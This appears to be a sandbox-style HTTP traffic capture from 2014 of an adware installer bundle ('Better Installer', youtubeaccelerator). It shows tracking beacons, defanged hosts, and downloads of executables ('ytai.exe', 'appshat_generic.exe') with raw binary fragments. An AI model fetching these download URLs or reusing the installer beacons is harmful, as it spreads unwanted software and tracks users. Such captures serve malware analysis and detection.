
Server: cloudflare-nginx

CF-RAY: 19a4969bcdb40b02-WAW

Content-Encoding: gzip
bce..............ks.6..~....T$..8.[U3...t&..4./..q ...S.J.~......H...$
M...xb..........U..$...]/Y..:...zt..<.an<fq..\..l.....Y..".....(
........??z.l.........)..m!...#..X....8.."Lb$....u...Q:=....../..O....
.''.'O.....i..=?zr<..}>g^-..........&.../.<;.x}..&o."_.W<N
6e.....~..b.d".A.F/.p........."..*RT.<.z'FQ..'..E..."..K........$..
.El..,.b..|z......A$o....L..........A.$..^....$.,".1*...,.............
.L....Y..Z...dq.....d."..e......U..R1[.H,..r.....)ZG}..u....X.....1{.W
.Z..'.m.l.A.BMD.e^Ek.u.\&[.'.../&..............E.I....t)x..Q..D.......
%C*=Qk...Z[....`...S;....N.D..{...^\"..JSk....N...!..[%P.%.....I.~..e.
V....  .....8.9:>e.....lU...j$$...1.....k........L....T.7l.(.}..~..
......d...*Voo.......y..^.`8.....y...N...."q..X.8..0^....q,p........8A
.0..a.....9.."\.%rn....h....z.LXn..!........S"[email protected]*..\.N/X..Z...!...
r1..........m..CR..U..2/h.7....).......99...t..}.......0...S..R...Q...
.'...h4..|l$..8..|.<.7... ...h83fD.O7Z3-...K....e...G(..T..J!_IH4..
..G..C.Kq#....ap......x...m...@.......<.E.....nE....4.....hs...4.\.
.........|.....QZd......n..6..(.K...z.c..............x......J.=E5.B.,q
[email protected].._....".?.X.-$}.x...#.1u.2..0.AD.0. ..P.
..gt1^..-...#..k...-..H .....?H'=.".d>a3....X.i.01...'@KB...._..7..
...|S.t8mCH....r,}.p......=.6.:g.MK...O.j...8.kG..u.m!.R"..|4B.A.f K*.
.`:.....7....drp[.&C..y).6..x.....wy..Wb..Q.....O 1.71.-.l.A..d8'E..T.
.T.. ...c...0:...=... ..u..B..Y..........4.........N....&P........~:..
,..#*.......sO...!y....I3"[email protected].....%.q..x.[..g.....
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&0.5490219917272924 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /stats.gif?action=daily&app=65743&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&ver=1_35_11_26&installtime=1418834836&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=16&bgver=1&pluginsver=12&curtime=1418834851&lifetime=15&rnd=4261 HTTP/1.1

Accept: */*

Host: stats.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: CNh qXToABmQb3YT6m0fUZLUFEBH62IrjoPHr1FjcGsSQwiwTq1SOfCISlZ2jsvE

x-amz-request-id: 01358AD7E4C9B61F

Date: Wed, 17 Dec 2014 16:47:33 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:10 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: CNh qX
ToABmQb3YT6m0fUZLUFEBH62IrjoPHr1FjcGsSQwiwTq1SOfCISlZ2jsvE..x-amz-requ
est-id: 01358AD7E4C9B61F..Date: Wed, 17 Dec 2014 16:47:33 GMT..Cache-C
ontrol: no-cache, must-revalidate..Expires: Mon, 26 Jul 1997 05:00:00 
GMT..Last-Modified: Tue, 25 Feb 2014 00:10:10 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..


GET /js/jquery-1.8.3.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT

Accept-Ranges: bytes

ETag: "806e96648984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:55 GMT

Content-Length: 42645
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"......{7...i]...YQ..q..'w....?.
....N/w...{.O.".5.V..g..U}q.,.....o.......r...r ..w~.. ....;..2..../..
..._.K...]...r.g..V>nVe.n]......../n....g.../.3j...&.6...w~qq.U...g
./...xY..7.........>.em...'.q...l.o..}....~tg.V....>..|..a.Y>
............;...%x.yJ}|..7...........G.}.......w.y...ge.?w....,?.=...O
.O>..>...O.GO.m..[....r...&.../_...._2.Z.Es.....10.a......./Q...
.O,e...z.M.eJ..w...../.....9].../'?.O...{.....V..X.s...J....|tG..]w.?"
../o...b.x.}.z.{.....<....]s.9_./h.~.g..... g...4...3.}x5'....9'.wi
...4w/....G..?.3;.)h.L.l.wt.....#...L......g......YY..Qn{*.../.N....P.
.01C.uz...>q....."`...)A..HE .....(......].w.[..>...L.z=.../"...
..k...s...uI.;Z.DkA..l..<..3...-I..u....j.^..?....$.#....i...;2....
....N.k.bU....YX:........eZ_k.\...^d..|.{;[email protected]....>.x#
=.^.u7.`Ab...<k....1t..A...Q1j...?d...U..v....?k..%u..&k.....<..
.rV..J.......-....Z..3*>[..T........O..~.K.l6.n.#..^..;..b.......B.
..Z.../.%..>................<...m~./.}.E.|.....}[email protected]...
.J.......q..... .Q.........wF..f.ZUu;.....IY-.}N.MS.&.........a?.. ...
..~..#..X..-).S.>B.Hs.....l].'.|.6.........F....5(..o.!.f>1.U ..
G.......e8..k.DZ.J?.3.GK.K......I.u/...f......y..@.._. ...c".|Q].i#...
[..V..|A..2..........G.%!T,..G.G...G....#.....yU..e.D.{y.{.w....^g.h..
4f...yc..z.....<Z.....|...v.s|E.GY...B.N[.wFd.I~.cT...b{...;....."R
.va4...|...79.^N|?mH.F.......Gw0.K.~b..xx.Y..&..$[.@.>....u....
<<< skipped >>>


GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 09 Oct 2014 21:05:58 GMT

Accept-Ranges: bytes

ETag: "afd792d24e4cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 13 Dec 2014 07:27:57 GMT

Content-Range: bytes 0-249999/1151376

X-Cache: RefreshHit from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WF0nvmdg2FfSXWOjzo5F8E_N7aD0Vo5Sm0RUVHn4Vcgn9lRnD-iDWg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........0...Q...Q..
.Q...&{..Q...)...Q....]..Q....E..Q....z.fQ....{..Q...)...Q...)...Q...Q
...P.......Q....A..Q...Q...Q....D..Q..Rich.Q..................PE..L...
..6T.................2...j...............P....@.......................
..........R@[email protected]..,.......p-......
.....v.......0..,[email protected]
...............................text...?1.......2.................. ..`
.rdata...B...P...D...6..............@[email protected]...([.......2...z........
[email protected]..........................@[email protected]..,....0......
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................j...)H.......M..h.9I..l...
Y.>....j...*H..c....M..h.9I..K...Y.........L......h.:I..0...Y....L.
.#...h.:I......Y.j..>1H.......e......L.pWI..M..h\:I......Y......j..
m1H.......e......L.pWI..E.........L..WI..M..h<:I......Y......j...1H
.......e......L.pWI..E.........L..WI..M..h.:I..p...Y.B....U..Q.u.h..L.
h..L...H..h|:I..I...Y..].j......Y.x.L...|.L..h..I....L......h.:I......
Y.h..I....L......h.:I......Y.j...aH.......M..h.:I......Y......h..I....
L......h.:I......Y.h..I....L......h.;I......Y.h..I....L..|...h:;I.
<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 09 Oct 2014 21:05:58 GMT

Accept-Ranges: bytes

ETag: "afd792d24e4cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 13 Dec 2014 07:27:57 GMT

Content-Range: bytes 500000-749999/1151376

X-Cache: RefreshHit from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LKMqQ2RVPCkFIQsVe9PUoKZKcGqrqsD2TaduqHwmBMMCQVCD-6HrOg==
....u9.E.P..........Q..............u..E.P............M..M.......U.R...
.......P.m............uF.U.R..........P.N..........M.Q.?..........U.R.
M.......E.P...........M..U.R...........E.P.............U.R............
E.P.F........Q............U.R.M..............E.P............M.Q.......
.P........P.U.R.M..q......Z...j..E.P.M.Q.M..X......1?...U..z..v..E..H.
....U..J..E.P.M.Q.M...[...E.^..]..................U......M..E.P.M.....
.P.M...........t7.U.R.M..o...P.M..f........t..M..w....M.Q.M.......E..G
.E.U.R.M...........t.j..M.Q.M..C.....R.E.P.M..$......M.Q.U.R.M...[...E
...]............U.... V.M..M...^...E..M.......E..E..M.Q..........R.Y..
.........t..M.Q...........U..M.E.P..........Q.(...........t..E.P.e....
.....M....M..#^...E..U.R.W.........E..M.;M........U.R.*.........E..M.Q
.............u..E.P.........M....M..6.....;U.u..M..'....M....7.U.R....
......;E.u..M.Q.........U......E.P.........M....M........;U.u7.E.P.A..
.........t..U..U....E.P.&.......E..M.......M....M..{.....;U.u7.E.P....
.........t..U..U....E.P.........E..M..B....M.........U.R..........P...
......M....U.R...........E.P.............U.R.........M.;.u..U..U......
.E.P...........M..U.R.V...........u..M.Q.........U....E.P.........M...
.U.R...........E.P.s...........U.R.c........P.H.......M....M..x.....;U
.u..M..i....M....X.U.R..........P..........;M.u..U.R..........P.......
..M......U.R..........P.........M....U.R...........E.P.............U.R
.C......P.E.P.6......P.Q.......M.Q.!.....................E.P.g........
.M..M.......U.;...Z....E.P................B....U.R. .......M.;....
<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1151375

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 09 Oct 2014 21:05:58 GMT

Accept-Ranges: bytes

ETag: "afd792d24e4cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 13 Dec 2014 07:27:57 GMT

Content-Range: bytes 1000000-1151375/1151376

X-Cache: RefreshHit from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3yuBlclBbvEHZ48MUfNpV2Kv717PL1p20rOq4g2Rq30QmCvhySFa3w==
2100..0dd1909fb60000001b010000270000007468656d652f7468656d652f5f72656c
732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f7..8277
086f6fd3ba109126dd88d0add40384e4350d363f2451eced0dae2c082e8761be9969bb
979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89..d93b64b060828e
6f37ed1567914b284d262452282e3198720e274a939cd08a54f980ae38a38f56e422a3
a641c8bbd048f7757da0f19b017cc524bd62107bd500..1996509affb3fd381a89672f
1f165dfe514173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b
01022d0014000600080000002100e9de0f..bfff0000001c0200001300000000000000
000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d00
14000600080000002100a5d6..a7e7c0000000360100000b0000000000000000000000
0000300100005f72656c732f2e72656c73504b01022d00140006000800000021006b79
9616830000008a..0000001c00000000000000000000000000190200007468656d652f
7468656d652f7468656d654d616e616765722e786d6c504b01022d0014000600080000
0021..0030dd4329a8060000a41b00001600000000000000000000000000d602000074
68656d652f7468656d652f7468656d65312e786d6c504b01022d001400060008..0000
0021000dd1909fb60000001b0100002700000000000000000000000000b20900007468
656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e7265
6c73504b050600000000050005005d010000ad0a00000000}..{\*\colorschememapp
ing 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d22555446
2d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d..617020
786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d
6174732e6f72672f64726177696e676d6c2f323030362f6d6169..6e2220626731
<<< skipped >>>


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Wed, 17 Dec 2014 16:46:01 GMT

Last-Modified: Thu, 11 Dec 2014 15:29:57 GMT

Server: ECS (ams/49BB)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2014121
1094629Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.F....20141203203011Z....20150303203511Z0...*.H....................
..L..f.Y......C\x....Z....X^....f..Z...u.q..r.(dVv....P..E~j;..PL.C...
Rf..[.......r.Y&/.P.d...0......T...{...(........W..$..^.lP3pZ6...PQ`..
......J~...=..55..D...P.\?8.N..v....(..$y.~y...z../0....V.\.\@E.lG..W=
o1V.kxF.xR.......}$...............W{..v....0...0...0...........'..0...
*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTrust1"0
 ..U....Baltimore CyberTrust Root0...140122184236Z..150122184140Z0G1.0
...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-20110.
."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...04..I..
....C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8..........h8GM
..*.4.MP..../[email protected]....
$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j.\.>
;.O....G.A........0..0... .....0......0...U.......0.0...U...........0.
..U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`;.l.uZ
..k.F..^|A.Tb0...*.H.............. .p.)...09W..Z.......]....}.:..Vr...
..c..U..:V^.O.....<...b*5.c.\.fF./....5'.>./ iS..R0..)..*.!..q.h
.T..ul.}&.......`.1".~.U....rB.BR.s..x..o..Y.......).4:.[.9.=....x...'
.f..\ [email protected]:J!.hRH..!z2DtL.s2.r.....Yi~..E..AzO..i.."N.$j...
b...o..i."{(3....
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 896af2c1ae1c98dd76aa7bf3b30604df.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mQij2ot5_dQGBs21a_qAeKoM3Of3f6atGkMCRMJjzGH6OUvu6Lbz4Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com




HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361&ipr=y

Cache-Control: private, max-age=43200

Date: Wed, 17 Dec 2014 16:44:58 GMT

Expires: Wed, 17 Dec 2014 16:44:58 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 950

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.002
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=233430558&cv=7&fst=1418834697240&num=1&fmt=3&la
bel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=90
1&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url
=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%2
6VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&
VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&Bund
leID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_presen
t=false&cdct=2&convclickts=0&random=1282287361&ipr=y"&
gt;here</A>...</BODY></HTML>....
<<< skipped >>>


GET /pagead/viewthroughconversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4




HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Wed, 17 Dec 2014 16:44:57 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Wed, 17 Dec 2014 16:44:57 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoR
IQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&
u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=htt
p://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_
Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_b
r=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Wind
ows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID
=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&c
onvclickts=0&random=1282287361..Content-Type: image/gif..X-Content-Typ
e-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protection
: 1; mode=block..Alternate-Protocol: 80:quic,p=0.002..GIF89a..........
...!.......,...........D.;..
<<< skipped >>>


GET /install.ashx?e=PcwT4QFtuPClUB4b/muCJQyc3gpH0EN88UqHvUhinpSjUEJ/m8fq64Aqy7bs2yR87/xXGSlFPzXKObDgviTVO4e8Q0Ryr2mqMBSXQ9nJcOZx1QZiJL1PeOb16kt4KYXNWPowBg89VjfmuzdwyvBFpOw7wxZ0rOEF7kya2DQtiCrPuJP0oXNMGcPrE3GwFPtoYPeH2BxP vaLARt95W016n0AYcuk8312C2B8Pmc8lEXECfZOYLFYPFC/ 1U1nkAYJWGhfRQYq4IFaZeJLHrBwNFPe/mKsMOhWTdYRi0YF6iLARt95W016n0AYcuk831211lzThcc0Tl2VBJ1SPYY3KMGLTconNu2dEJI5oTUBpWVRco3oPUOjmPLagMtARkbqlRkY0nvgbpDjaFK0VDecgDp9jqmCJIP0Ec9EnFgpr7dH4ZXDn09dBnzfFt7rO4TSHIcW/B/FtviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEM1iDef czzhMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVQOLAHQ k0ag HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2024

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 ab9184c483f90174792b601f2066b861.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sX8L0AZjKb_dt86JPfnY8GV3HvbVA4gf85hY4dIOsR09TerAsat5Ew==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q...4\(.....D$4H......)..[.U.1.{.%...Eu..I0o?
\.OY...KR....l;;...8lH.J#0rb..(8a....X.Xe.a......P..1`.p.K.K.......0..
.(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y..1 
../M.......D$4H......)..[.U.1.{.%...Eu.......R..Aa....d..cT:....W.{.."
